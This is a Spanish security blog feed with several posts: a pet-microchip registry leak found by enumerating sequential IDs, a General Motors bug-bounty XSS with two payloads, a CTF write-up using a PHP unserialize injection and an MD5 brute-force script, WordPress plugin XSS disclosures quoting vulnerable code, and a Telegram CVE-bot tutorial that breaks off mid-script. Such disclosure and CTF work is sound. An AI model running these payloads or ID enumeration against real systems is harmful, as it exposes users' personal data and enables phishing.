SecurityTrooper https://securitytrooper.com/ SecurityTrooper Thu, 10 Dec 2020 18:27:50 +0000 es hourly 1 https://wordpress.org/?v=6.9.4 ¿ES TU MASCOTA UNA FUGA DE DATOS? https://securitytrooper.com/es-tu-mascota-una-fuga-de-datos https://securitytrooper.com/es-tu-mascota-una-fuga-de-datos#respond Wed, 09 Dec 2020 11:17:33 +0000 https://securitytrooper.com/?p=228 Introducción Hoy en día, cada vez estamos todos más y más concienciados con dos temas: el cuidado de nuestras mascotas y la protección de nuestros datos personales. Pero, ¿podría ser que la mejora del primer aspecto afectase negativamente al segundo?… Continuar leyendo

La entrada ¿ES TU MASCOTA UNA FUGA DE DATOS? se publicó primero en SecurityTrooper.

]]>
Introducción

Hoy en día, cada vez estamos todos más y más concienciados con dos temas: el cuidado de nuestras mascotas y la protección de nuestros datos personales. Pero, ¿podría ser que la mejora del primer aspecto afectase negativamente al segundo?

Qué duda cabe de que la llegada de los chips identificativos supuso un antes y un después para los animales domésticos. Permite localizarnos, como dueños suyos, en caso de pérdida. Asimismo, constituye un sistema “móvil” de almacenamiento de datos que acompaña siempre al animal, vaya donde vaya, llevando con él información relativa tanto a sus dueños como a su propia salud.

Aparentemente, se trata todo de puntos positivos. No obstante, como avanzábamos anteriormente, este almacenamiento de datos puede comprometer nuestra seguridad personal, como trataremos de demostrar a continuación.

Primeros pasos

La idea de analizar la seguridad del chip de las mascotas surgió del hallazgo de un gato callejero. Con la intención de comprobar si tenía dueño, adquirimos un lector FDX-B por Amazon. (https://www.amazon.es/dp/B07K4DLVMY/ref=cm_sw_em_r_mt_dp_U_2m.pEbH226WJ4).

FDX -B

Finalmente, no conseguimos nuestro objetivo con el gato extraviado. Sin embargo, ya que contábamos con el dispositivo, decidimos probarlo con nuestro propio gato, Bobi.

Bobi

La lectura del chip fue correcta y nos devolvió un número identificativo de 16 cifras. Este número servía como identificador único para usarlo en el buscador de la página oficial de REIAC (https://www.reiac.es/).

REIAC

Esta página, relativamente sencilla, ofrece un registro, a nivel nacional, de todas nuestras mascotas, del tipo que sean (desde gatos y perros, hasta iguanas, ratas, hurones, etc.) Recordemos, llegados a este punto, la existencia de una ley (Ley 8/2003, de 24 de abril, de sanidad animal, https://www.boe.es/buscar/act.php?id=BOE-A-2003-8510) que obliga a los propietarios de todos los animales domésticos a registrar a cada uno de sus animales con un identificador único.

Al realizar la búsqueda de dicho número, aparecieron en la web todos los datos almacenados bajo el ID encontrado en el chip de Bobi.

Información encontrada de Bobi

Análisis profundo

Observando la secuencia numérica del ID de Bobi, llegamos a la hipótesis de que, muy probablemente, no se trataría de números aleatorios, sino de una numeración correlativa.

Probamos a introducir el número anterior y posterior y, en efecto, obtuvimos información de otras dos mascotas (y sus respectivos dueños, claro).

Información encontrada nombre de mascota
Información encontrada sobre el estado actual de la mascota

Como se puede ver, algunos de los datos que devuelven son de bastante sensibles.

Lo que en sí mismo ya constituía un fallo de seguridad se agravó al comprobar que el reCAPTCHA de Google que dispone la web no se encuentra implementado correctamente y la carencia de un un token CSRF, pues fue posible, realizar consultas por “fuerza bruta” y obtener un listado con la información de 100 usuarios más.

Información realizando fuerza bruta

Conclusión

Como hemos podido demostrar, el sistema de almacenaje de información de mascotas a través de sus chips es altamente vulnerable, por diversos motivos:

  1. Permite la lectura de cualquier chip mediante un dispositivo de muy fácil adquisición y utilización.
  2. La lectura del chip devuelve un ID mediante el cual pueden consultarse en la web oficial de REIAC todos los datos almacenados para él, sin exigir ningún otro tipo de verificación.
  3. Los ID de los chips siguen para su formación un sistema de números correlativos, de tal manera que, obteniendo uno, es sencillo adivinar otros anteriores o posteriores.
  4. El sistema reCAPTCHA de Google que hay en la web no funciona correctamente y la carencia de un token CSRF permite la obtención masiva de datos de usuarios.

Visto lo visto, parece que vamos a tener que decidir: ¿la seguridad de nuestra mascota… o la nuestra propia?

La entrada ¿ES TU MASCOTA UNA FUGA DE DATOS? se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/es-tu-mascota-una-fuga-de-datos/feed 0
Vulnerando General Motors (Bugbounty)(XSS) https://securitytrooper.com/vulnerando-general-motors-bugbounty https://securitytrooper.com/vulnerando-general-motors-bugbounty#respond Sat, 05 Dec 2020 23:39:18 +0000 https://securitytrooper.com/?p=172 En este post os muestro como encontré un Cross Site Scripting (XSS) Reflejado en uno de los subdominios de “General Motors“. Lo primero que hay que dejar claro es que una empresa que se encuentra afiliada a un programa de… Continuar leyendo

La entrada Vulnerando General Motors (Bugbounty)(XSS) se publicó primero en SecurityTrooper.

]]>
En este post os muestro como encontré un Cross Site Scripting (XSS) Reflejado en uno de los subdominios de “General Motors“.

Resultado de imagen

Lo primero que hay que dejar claro es que una empresa que se encuentra afiliada a un programa de BugBounty (hackerone.com) por lo que su análisis está permitido, recordar que si no están afiliados a estos programas y les atacamos podemos meternos en un lio, además, hay que avisarles antes de realizar una publicación de dichas vulnerabilidades.

Otra cosa es que al pertenecer a estos programas hace que las posibilidades de encontrar algún tipo de vulnerabilidad sea muy baja.

Por eso, es recomendable intentar buscar dentro de sus subdominios para intentar ampliar las posibilidades de encontrar alguna vulnerabilidades que este dentro del Top 10 de OWASP:

Resultado de imagen de top 10 owasp 2017

En este caso, usé el script Sublist3r (https://github.com/aboul3la/Sublist3r) para listar los subdominios de gm.com.

Tras semanas de búsqueda, me centraré en el subdominio supply.eur.gm.com.


Este subdominio me llamó la atención por tener una apariencia de una web antigua.

Después de realizar una gran batería de pruebas (enumeración de usuarios, listado de directorios, SQLi…) me encontré con que no se hacia un correcto control de excepciones al forzar un error, es más, este error me mostraba todo el texto contenido en la URL.

Aprovechando este fallo, generé una inyección de código JavaScript al no filtrar correctamente los valores que se introducían en la URL.

Finalmente elaboré dos pruebas de concepto para enviárselas al programa BugBounty que tiene GM en la web https://www.hackerone.com/

[POC 1] Payload: <img%20src=a%20onerror=alert(«XSS»)>

[POC 2] Payload: <img onerror=javascript:window.location.replace(‘http:www.google.com’) src=»x»>

Estas vulnerabilidades del tipo XSS permite que un atacante pueda, por ejemplo, redireccionar un subdominio legitimo a una web clonada para lograr un ataque de Phishing.

Por desgracia la compensación por el trabajo realizado por parte de GM fue nula, muchas veces pasa.

La entrada Vulnerando General Motors (Bugbounty)(XSS) se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/vulnerando-general-motors-bugbounty/feed 0
Moon Casino 2 – Web – NN9ed – ka0labs https://securitytrooper.com/moon-casino-web-nn9ed-ka0labs https://securitytrooper.com/moon-casino-web-nn9ed-ka0labs#respond Sun, 06 Oct 2019 13:54:04 +0000 https://securitytrooper.com/?p=201 Comenzamos este reto accediendo a la URL http://casino.nn9ed.ka0labs.org (aún sigue disponible). Nada más entrar vemos una página web con una imagen de fondo de la luna. Lo primero que se nos ocurre es ver el código fuente y este nos da… Continuar leyendo

La entrada Moon Casino 2 – Web – NN9ed – ka0labs se publicó primero en SecurityTrooper.

]]>
Comenzamos este reto accediendo a la URL http://casino.nn9ed.ka0labs.org (aún sigue disponible).

Nada más entrar vemos una página web con una imagen de fondo de la luna.
Lo primero que se nos ocurre es ver el código fuente y este nos da una siguiente pista para continuar.

La url «http://casino.nn9ed.ka0labs.org/index.php?source=go» nos devuelve el código fuente del propio archivo index.php

<?php
session_start();



if ($_GET['source']){
    highlight_file(__FILE__);
    exit();
}


class casino_debug {
    public $var = "path";
    public function __wakeup(){
        var_dump($_SESSION);
        echo file_get_contents($_SESSION[$this->var]);
    }
}


if (!empty($_GET['action']) && $_GET['action'] == "debug") {
    echo base64_decode($_COOKIE['debug']);
    unserialize(base64_decode($_COOKIE['debug']));
    exit();
}


if (!empty($_GET['action']) && $_GET['action'] == "bet" && !empty($_POST['bet']) && !empty($_POST['guess'])) {
    if (strpos($_POST['bet'], "/") !== false) {
        echo "HACK ATTEMPT!!!eleven!!1!";
        exit();
    }
    $_SESSION['path'] = __FILE__;
    $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet'];

    // Unfair :(
    if (rand() === $_POST['guess']) {
        echo "You win:" . file_get_contents("secret.php");
    }
    else {
        echo "You lose :)";
    }
}  
?>
<html>
<head>
<title>Moon Casino (under construction)</title>
<style>
    body{
        background: url(moon.jpg) no-repeat center center fixed;
    }
</style>
</head>
<body>
<!-- index.php?source=go --!>
</body>
</html>


Después de realizar un estudio del código estático sacamos varias conclusiones:

  • La comparación estricta «===» es imposible de cumplir ya que se intenta comparar un entero de una función rand() con un string o array, por lo que hay que seguir otras vías para leer el archivo «secret.php» que es donde (suponemos) que está la flag.

    // Unfair :(
    if (rand() === $_POST['guess']) {
        echo "You win:" . file_get_contents("secret.php");
    }
    else {
        echo "You lose :)";
    }

  • El método unserialize suele ser famoso por su gran número de fallos de seguridad por lo que vamos a seguir esa via.

unserialize(base64_decode($_COOKIE['debug']));

Realizando una búsqueda rápida en google, nos encontramos con este link https://nitesculucian.github.io/2018/10/05/php-object-injection-cheat-sheet/, donde se hace referencia a los «PHP magic method» con unserialize que permite realizar llamadas a métodos del tipo «__wakeup» o «__destruct«, por suerte uno de esos métodos se encuentra en el archivo «index.php» dentro de la clase «casino_debug«. Vamos por buen camino 🙂

class casino_debug {
    public $var = "path";
    public function __wakeup(){
        var_dump($_SESSION);
        echo file_get_contents($_SESSION[$this->var]);
    }
}

Inyectando nuestro payload «O:12:»casino_debug»:1:{s:3:»var»;s:3:»bet»;}» (encodeado en base64) dentro del parámetro debug de la cookie, haremos que se realice una llamada al parámetro «bet» que se encuentra en nuestra «sesión» y que la ruta que contenga ese parámetro sea llamado con la función «file_get_contents«, es decir, que si conseguimos añadir (de alguna manera) la ruta al archivo secret.php dentro de ese valor «bet» de la sesión, tendremos (seguramente) nuestro flag.

La única forma de alterar el parámetro «bet» de la sesión es utilizando los parámetros «guest» y «bet» mediante el método POST.

    $_SESSION['path'] = __FILE__;
    $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet'];

La cosa se complica cuando hay que construir con esos parámetros («guest» y «bet«) un path correcto hacia el archivo «secret.php» para que este sea correctamente llamado por la función «file_get_contents«.

O:12:"casino_debug":1:{s:3:"var";s:3:"bet";}array(2) {
  ["path"]=>
  string(23) "/var/www/html/index.php"
  ["bet"]=>
  string(27) "ÄÊB8 ¹#‚
ÌPšou„›/secret.php"
}

Sabiendo que con la comparación estricta «===» del rand no es el camino correcto (tal y como se comenta al principio), la única vía es generar un «md5» que termine «/..» para conseguir una ruta del tipo «/var/www/html/xxx/../secret.php«. Por suerte la forma con la que se genera ese md5() es en raw y este devuelve caracteres en formato binario.

Con este script haremos fuerza bruta hasta conseguir un resultado correcto (nos llevó unos 20 segundos):

function getrandomstring($length) {

       global $template;
       settype($template, "string");

       $template = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

       settype($length, "integer");
       settype($rndstring, "string");
       settype($a, "integer");
       settype($b, "integer");

       for ($a = 0; $a <= $length; $a++) {
               $b = rand(0, strlen($template) - 1);
               $rndstring .= $template[$b];
       }

       return $rndstring;
}


$i = 0;
do {

    $word = getrandomstring(4);
    $md5 = md5($word, TRUE);
    if (substr($md5, -3) == "/..") {
         echo $word;
         echo "\n";
         echo $md5;
         echo "\n";
     }


} while (True);

Una vez obtenido un resultado correcto (en nuestro caso: iwxQs), realizamos la petición para alterar el parámetro «bet» de la sesión.

 

Comprobamos que la ruta es correcta.

Ya tenemos nuestra flag.

La entrada Moon Casino 2 – Web – NN9ed – ka0labs se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/moon-casino-web-nn9ed-ka0labs/feed 0
Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079 https://securitytrooper.com/smush-image-2-7-4-1-directory-traversal-cve-2017-15079 https://securitytrooper.com/smush-image-2-7-4-1-directory-traversal-cve-2017-15079#respond Fri, 09 Feb 2018 10:47:57 +0000 https://securitytrooper.com/?p=161 Esta vez hablaré de un path trasversal que encontré en un plugin bastante conocido pero he de decir que es un poco limitado ya que solo lista carpetas. Os dejo un vídeo en donde hice una POC Siento no poner… Continuar leyendo

La entrada Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079 se publicó primero en SecurityTrooper.

]]>
Esta vez hablaré de un path trasversal que encontré en un plugin bastante conocido pero he de decir que es un poco limitado ya que solo lista carpetas.
Os dejo un vídeo en donde hice una POC

Siento no poner más información sobre el código que usa.

 

La entrada Smush Image 2.7.4.1 Directory Traversal CVE-2017-15079 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/smush-image-2-7-4-1-directory-traversal-cve-2017-15079/feed 0
Mi primer CVE del 2018 CVE-2018-5316 https://securitytrooper.com/primer-cve-del-2018-cve-2018-5316 https://securitytrooper.com/primer-cve-del-2018-cve-2018-5316#respond Wed, 10 Jan 2018 17:08:37 +0000 https://securitytrooper.com/?p=153 Aunque la vulnerabilidad la localicé el año pasado. Mitre ha decidido asignármela este año 2018. El CVE se basa en un Cross-site scripting en el plugin «SagePay Server Gateway for WooCommerce» versión 1.0.7. Esta vulnerabilidad se encuentra en el parámetro… Continuar leyendo

La entrada Mi primer CVE del 2018 CVE-2018-5316 se publicó primero en SecurityTrooper.

]]>
Aunque la vulnerabilidad la localicé el año pasado. Mitre ha decidido asignármela este año 2018. El CVE se basa en un Cross-site scripting en el plugin «SagePay Server Gateway for WooCommerce» versión 1.0.7.

Esta vulnerabilidad se encuentra en el parámetro «page» en el archivo»/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php» que carece de unos métodos correctos de filtrado.

<?php    
    
    $res =  '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">' .
            '<html><head>' .
            '<script type="text/javascript"> function OnLoadEvent() { document.form.submit(); }</script>' .
            '<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />' .
            '<title>3D-Secure Redirect</title></head>' . 
            '<body OnLoad="OnLoadEvent();">' .
            '<form name="form" action="'. urldecode($_GET["page"]) . '" method="POST"  target="_top" >' .
            '<noscript>' .
            '<center><p>Please click button below to Authenticate your card</p><input type="submit" value="Go"/></p></center>' .
            '</noscript>' .
            '</form></body></html>';
            
    echo $res;
?>

En la siguiente captura se comprueba que la ejecución de código se realiza correctamente.

 

La entrada Mi primer CVE del 2018 CVE-2018-5316 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/primer-cve-del-2018-cve-2018-5316/feed 0
Z-URL Preview (XSS) CVE-2017-18012 https://securitytrooper.com/z-url-preview-xss https://securitytrooper.com/z-url-preview-xss#respond Thu, 21 Dec 2017 06:50:47 +0000 https://securitytrooper.com/?p=137 Hace unos días conseguí finalmente contactar con el desarrollador del plugin «Z-URL Preview» donde le comentaba que tenia un Cross-site scripting en la versión 1.6.1. Esta vulnerabilidad se encuentra en el parámetro «url» en el archivo»/wp-content/plugins/z-url-preview/class.zlinkpreview.php» que como se puede comprobar… Continuar leyendo

La entrada Z-URL Preview (XSS) CVE-2017-18012 se publicó primero en SecurityTrooper.

]]>
Hace unos días conseguí finalmente contactar con el desarrollador del plugin «Z-URL Preview» donde le comentaba que tenia un Cross-site scripting en la versión 1.6.1.

Esta vulnerabilidad se encuentra en el parámetro «url» en el archivo»/wp-content/plugins/z-url-preview/class.zlinkpreview.php» que como se puede comprobar en la siguiente captura el constructor de la clase «ZLinkPreview» carece de los mecanismos necesarios para evitar la inyección de código.

<?php

class ZLinkPreview {

    var $description;
    var $title;
    var $image = array();
    var $url;
    var $html;
    var $parsemode;
    var $curlerrno;
    var $curlerr;
    var $curlinf = array();
    var $htmlblank;

    function __construct($url) {

        if (!preg_match("~^(?:f|ht)tps?://~i", $url)) {
            $url = "http://" . $url . '/';
        }

        $this->url = $url;
        $this->getHTML();
    }

    function setParseMode($m = "r") {
        $this->parsemode = $m;
    }

    function getHTML() {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $this->url);
        curl_setopt($ch, CURLOPT_NOBODY, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . "/cacert.pem");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $this->html = curl_exec($ch);
        $this->curlinf = curl_getinfo($ch);
        $this->curlerr = curl_error($ch);
        $this->curlerrno = curl_errno($ch);

        if (!$this->html) {
            //echo 'Error: ' . curl_error($ch);
            //die();
            $this->htmlblank = true;
        }
        curl_close($ch);
//        $this->html = str_replace("<head>", "<head><base href=\"$this->url\">", $this->html);
    }

    function getcurlerrno() {
        echo $this->curlerrno;
    }

    function getcurlerr() {
        echo $this->curlerr;
    }

    function getcurlinf() {
        print_r($this->curlinf);
    }

    function getDescription() {
        if ($this->parsemode == "d") {
            $res = "";
            $dom = new DOMDocument();
            @$dom->loadHTML($this->html);
            foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:description
                if ($meta->getAttribute('property') == "og:description") {
                    $res = $meta->getAttribute('content');
                    break;
                }
            }
            if ($res == "") {  // failback to basic description
                foreach($dom->getElementsByTagName('meta') as $meta) {
                    if ($meta->getAttribute('name') == "description") {
                        $res = $meta->getAttribute('content');
                        break;
                    }
                }
            }
            if ($res == "") {  // failback to first p if meta's missing or blank
                $res = $dom->getElementsByTagName('p')->item(0)->nodeValue;
            }
            echo $res;
        } else {
            if (preg_match_all('/<meta(?=[^>]*name="description")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    echo $content;
                }
            } else if (preg_match_all('/<meta(?=[^>]*name="og:description")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    echo $content;
                }
            }
        }
    }

    function getTitle() {
        if ($this->parsemode == "d") {
            $title = "";
            $dom = new DOMDocument();
            @$dom->loadHTML($this->html);
            foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:title
                if ($meta->getAttribute('property') == "og:title") {
                    $title = $meta->getAttribute('content');
                    break;
                }
            }
            if ($title == "") {  // failback to title if og:title missing or blank
                $title = $dom->getElementsByTagName('title')->item(0)->nodeValue;
            }
            if ($title == "") {  // failback to h1 if title missing or blank
                $title = $dom->getElementsByTagName('h1')->item(0)->nodeValue;
            }
            echo $title;
        } else {
            // if (preg_match("/<title>(.+)<\/title>/si", $this->html, $matches)) { // Changed due to issue with BBC news
            if (preg_match("/<title>(.+)<\/title>/i", $this->html, $matches)) {
                echo $matches[1];
            } else {
                $dom = new DOMDocument();
                @$dom->loadHTML($this->html);
                echo $dom->getElementsByTagName('title')->item(0)->nodeValue;
            }
        }
    }

    function getImage($multiple = false) {
        if ($this->parsemode == "d") {
                $res = "";
                $dom = new DOMDocument();
                @$dom->loadHTML($this->html);
                foreach($dom->getElementsByTagName('meta') as $meta) {  // prefer og:image
                        if ($meta->getAttribute('property') == "og:image") {
                                $res = $meta->getAttribute('content');
                                break;
                        }
                }
                if ($res == "") {  // failback to first img if og:image missing or blank
                        $res = @$dom->getElementsByTagName('img')->item(0)->getAttribute('src');
                }
                if ($res != "") {  // only try and clean up the url if an image was found
                        // we need the fqdn without the trailing /
                        $urlo = rtrim ($this->url,"/");

                        $res = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $res);
                        if (substr($res, 0, 4) == "http") { // if the url starts with http we're done
                                $reso = $res;
                        } else {
                                if (substr($res, 0, 1) == "/") {  // if url starts with / then it could be an absolute path
                                        if (substr($res, 0, 2) == "//") {  // ok, not absolute, but for dual-mode http(s) sites
                                                $reso = "http:" . $res;
                                        } elseif (substr($res, 0, 3) == "://") {  // for dual-mode http(s) sites with :
                                                $reso = "http" . $res;
                                        } else {  // absolute to prepend fqdn
                                                $reso = $urlo . $res;
                                        }
                                } else {  // doesn't start with a / so a relative path - for now assume a / base path
                                        $reso = $urlo . "/" . $res;
                                }
                        }
                }
                echo $reso;
        } else {
            /* First we will check if facebook opengraph image tag exist */
            if (preg_match_all('/<meta(?=[^>]*property="og:image")\s[^>]*content="([^>]*)"/si', $this->html, $matches)) {
                foreach ($matches[1] as $key => $content) {
                    $image[] = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $content);
                    if ($key == 5)
                        break;
                }
            }

            /* If not then we will get the first image from the html source */
            else if (preg_match_all('/<img [^>]*src=["|\']([^"|\']+)/i', $this->html, $matches)) {
                foreach ($matches[1] as $key => $value) {
                    if (strpos($value, 'http') === false) {
                        // If trailing slash is missing from domain AND image path does not start with slash, insert one - technically should check for base href, but later :-)
                        if ((substr($this->url, -1) != "/") && (substr($value, 0, 1) != "/")) {
                            $image[] = $this->url . '/' . preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                        } else {
                            $image[] = $this->url . preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                        }
                    } else {
                        $image[] = preg_replace("/&#?[a-z0-9]{2,8};/i", "", $value);
                    }

                    if ($key == 5)
                        break;
                }
            }
            $image_index = (isset($_GET['image_no'])) ? $_GET['image_no'] - 1 : 0;
            echo (!$multiple) ? $image[$image_index] : str_replace(array("\\", "\"", " "), array("", "", ""), json_encode($image));
        }
    }

}

$zlinkPreview = new ZLinkPreview($_GET['url']);
define('SHORTINIT', true);
require_once('../../../wp-load.php');
$linkmode = get_option('zurlpreview_linkmode');
switch ($linkmode) {
    case "target-blank":
        $linkmodehtml = ' target="_blank"';
        break;
    case "target-newwindow":
        $linkmodehtml = ' target="newwindow"';
        break;
    case "rel-external":
        $linkmodehtml = ' rel="external"';
        break;
    default:
        $linkmodehtml = '';
}
$zlinkPreview->setParseMode(get_option('zurlpreview_parsemode'));
?>
<div id="at_zurlpreview">
            <?php
            if ($zlinkPreview->htmlblank == true) {
            ?>
            <p class="imgd">Error No: <?php $zlinkPreview->getcurlerrno();  ?></p>
            <p class="imgd">Error: <?php $zlinkPreview->getcurlerr();  ?></p>
            <p class="imgd">Info: <?php $zlinkPreview->getcurlinf();  ?></p>
            <?php
            } else {
            ?>
            <?php
            if (get_option('zurlpreview_noheadtag') != "Yes") {
                   if (get_option('zurlpreview_linkheader') == "Yes") {
                    ?>
                    <h2><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php $zlinkPreview->getTitle();  ?></a></h2>
                    <?php
                } else {
                    ?>
                    <h2><?php $zlinkPreview->getTitle();  ?></h2>
                    <?php
                }
            }
            ?>
            <h3 style="display:none;"><?php $zlinkPreview->getTitle();  ?></h3>
            <?php
            if (get_option('zurlpreview_noimage') != "Yes") {
                   if (get_option('zurlpreview_linkimage') == "Yes") {
                    ?>
                    <p class="imgp"><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><img data-src = "<?php $zlinkPreview->getImage(1); ?>" src="<?php $zlinkPreview->getImage();  ?>"></a></p>
                    <?php
                } else {
                    ?>
                    <p class="imgp"><img data-src = "<?php $zlinkPreview->getImage(1); ?>" src="<?php $zlinkPreview->getImage();  ?>"></p>
                    <?php
                }
            }
            if (get_option('zurlpreview_nointro') != "Yes") {
            ?>
            <p class="imgd"><?php $zlinkPreview->getDescription();  ?></p>
            <?php
            }
            if (get_option('zurlpreview_titlelink') == "Yes") {
            ?>
            <p class="imgs"><a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php echo htmlspecialchars($zlinkPreview->getTitle());  ?></a></p>
            <?php
            } else {
            ?>
            <p class="imgs"><?php echo get_option('zurlpreview_linktxt'); ?> <a href="<?php echo $zlinkPreview->url; ?>" <?php echo $linkmodehtml; ?>><?php echo preg_replace('#^https?://#', '', $zlinkPreview->url);  ?></a></p>
            <?php
            }
            ?>

            <?php } ?>
</div>

En la siguiente captura se comprueba que la ejecución de código se realiza correctamente.

En la siguiente captura se comprueba el código dentro del cuerpo HTML.

 

 

La entrada Z-URL Preview (XSS) CVE-2017-18012 se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/z-url-preview-xss/feed 0
Wunderbar Basic (XSS) https://securitytrooper.com/wunderbar-basic-xss https://securitytrooper.com/wunderbar-basic-xss#respond Wed, 20 Dec 2017 07:34:32 +0000 https://securitytrooper.com/?p=93 Prosigo con Cross-site scripting dentro de plugins de Wordpres, en este caso el plugin es «Wunderbar Basic» versión 1.1.3. El fallo de seguridad se encuentra en el parámetro «home» en el archivo»wp-content/plugins/wunderbar-basic-wysiwyg-front-end-editor/wb-adminbar.php» que como se puede comprobar en la siguiente… Continuar leyendo

La entrada Wunderbar Basic (XSS) se publicó primero en SecurityTrooper.

]]>
Prosigo con Cross-site scripting dentro de plugins de Wordpres, en este caso el plugin es «Wunderbar Basic» versión 1.1.3.

El fallo de seguridad se encuentra en el parámetro «home» en el archivo»wp-content/plugins/wunderbar-basic-wysiwyg-front-end-editor/wb-adminbar.php» que como se puede comprobar en la siguiente captura carece de los mecanismos necesarios para evitar la inyección de código.

<div id="wbinterior" >
<div id="wunderbarlogo"  >
    <a class='wblogobutton thickbox' title='Wunderbar Help' href='<?php echo $_REQUEST['home']?>help.html?width=500&height=300&TB_iframe=true' target='_blank'>
        <img src="<?php echo $_REQUEST['home']?>images/wb-logo-rev.png" alt="The Wunderbar" />
        <span id='wbcmds'>&nbsp; &nbsp; HELP / UPGRADE</span>
    </a>
    </div>
<div id="fakeeditarea" style='display:none'></div>

 

Efectivamente el código malicioso se ejecuta sin problemas.

En esta captura se muestra el código dentro del cuerpo HTML.

  • Publicación en Packetstormsecurity:
    https://packetstormsecurity.com/files/145434/WordPress-Wunderbar-Basic-1.1.3-Cross-Site-Scripting.html

La entrada Wunderbar Basic (XSS) se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/wunderbar-basic-xss/feed 0
Pinterest Badge (XSS) https://securitytrooper.com/pinterest-badge-xss https://securitytrooper.com/pinterest-badge-xss#respond Tue, 19 Dec 2017 09:45:32 +0000 https://securitytrooper.com/?p=90 Hoy os hablaré de otro Cross-site scripting que he descubierto dentro del plugin «Pinterest Badge» versión 1.8.0. El fallo de seguridad se encuentra en el parámetro «uid» en el archivo»/wp-content/plugins/pinterest-badge/pinterestbadgedetails.php» que como se puede comprobar en la siguiente captura carece de los… Continuar leyendo

La entrada Pinterest Badge (XSS) se publicó primero en SecurityTrooper.

]]>
Hoy os hablaré de otro Cross-site scripting que he descubierto dentro del plugin «Pinterest Badge» versión 1.8.0.

El fallo de seguridad se encuentra en el parámetro «uid» en el archivo»/wp-content/plugins/pinterest-badge/pinterestbadgedetails.php» que como se puede comprobar en la siguiente captura carece de los mecanismos necesarios para evitar la inyección de código.

Efectivamente el código malicioso se ejecuta sin problemas.

En esta captura se muestra el código dentro del cuerpo HTML.

 

 

La entrada Pinterest Badge (XSS) se publicó primero en SecurityTrooper.

]]>
https://securitytrooper.com/pinterest-badge-xss/feed 0
Envíate los últimos CVEs a tu Telegram https://securitytrooper.com/enviate-los-ultimos-cves-telegram https://securitytrooper.com/enviate-los-ultimos-cves-telegram#respond Wed, 13 Dec 2017 07:18:15 +0000 http://securitytrooper.com/?p=73 En este artículo os explicaré como crear un bot que te permita estar informado de los últimos CVEs que se están publicando al momento. Lo primero que tenemos que hacer es instalar nuestra librería de Telegram para pyhon haciendo uso… Continuar leyendo

La entrada Envíate los últimos CVEs a tu Telegram se publicó primero en SecurityTrooper.

]]>
En este artículo os explicaré como crear un bot que te permita estar informado de los últimos CVEs que se están publicando al momento.

Lo primero que tenemos que hacer es instalar nuestra librería de Telegram para pyhon haciendo uso de pip.

pip install python-telegram-bot

Para el desarrollo de nuestro bot hay que hacer uso de «The Botfather» (https://core.telegram.org/bots) que consiste en una aplicación creada por Telegram que hará como mediador entre Telegram y nuestro código.

Para ello, hay que acceder al canal «BotFather» mediante una de las plataformas que nos ofrece Telefram (iOS, Android o Windows) o (Mac, Windows, Linux, versión web).
En este caso, usaré su versión web (https://web.telegram.org/).

 

Una vez dentro de ese canal, basta con poner «/start» luego «/newbot» y después introducir el nombre de tu bot, recuerda que tiene que ir acabo de «_bot» o «bot».

Con en mensaje anterior, confirmaremos que esta todo creado correctamente.
Es muy importante que tengamos a nuestro Bot en contactos ya que se necesitará saber el chat_id que tenemos en común.
Seguramente existan modos de obtener este «chat_id» más sencillos pero os voy a explicar el que uso yo.

Este Script te ayudará a obtener el chat_id pero para que funcione tienes que (previamente) haber hablado con tu bot (Ej del chat del bot: t.me/XXXXXXXX_bot)
Recuerda poner tu TOKEN previamente obtenido.

# -*- coding: utf-8 -*-
#Importamos liberia telegram
import telegram
 
#TOKEN de la API - Botfather
TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
bot = telegram.Bot(token=TOKEN)
 
updates = bot.get_updates()
print([u.message.chat_id for u in updates])

El resultado sería algo así:

El chat_id será del estilo de 17XXXXX. Este chat_id tambien puede ser un valor negativo (Ej: -17XXXXXX).

Pues bien ahora con tu chat_id y tu TOKEN ya podemos hacer uso de este Script para obtener los últimos CVEs que se están publicando vía Twitter.

# -*- coding: utf-8 -*-
#Importamos liberia de Telegram y BeautifulSoup
import bs4,telegram

#TOKEN de la API - Botfather
TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
mi_bot = telegram.Bot(token=TOKEN)

#ID del chat de Telefram
chat_id = 1000000000000

#Nombre de la cuenta que se quiere obtener los Twits
account = "CVEnew"

#Obtenemos el contenido de de la página de twitter 
result = requests.get("https://twitter.com/"+account)
c = result.content

#Nos ayudamos la librería BeautifulSoup
soup = bs4.BeautifulSoup(c, "html.parser")

for div in soup.find_all("li", {"class":"stream-item"}):
    #Obtención de ID único que usa Twitter
    item_id = div["data-item-id"]
    
    #Se obtiene el contenido del Twitt
    content = str(div.find("p", {"class":"TweetTextSize"}).text)
    
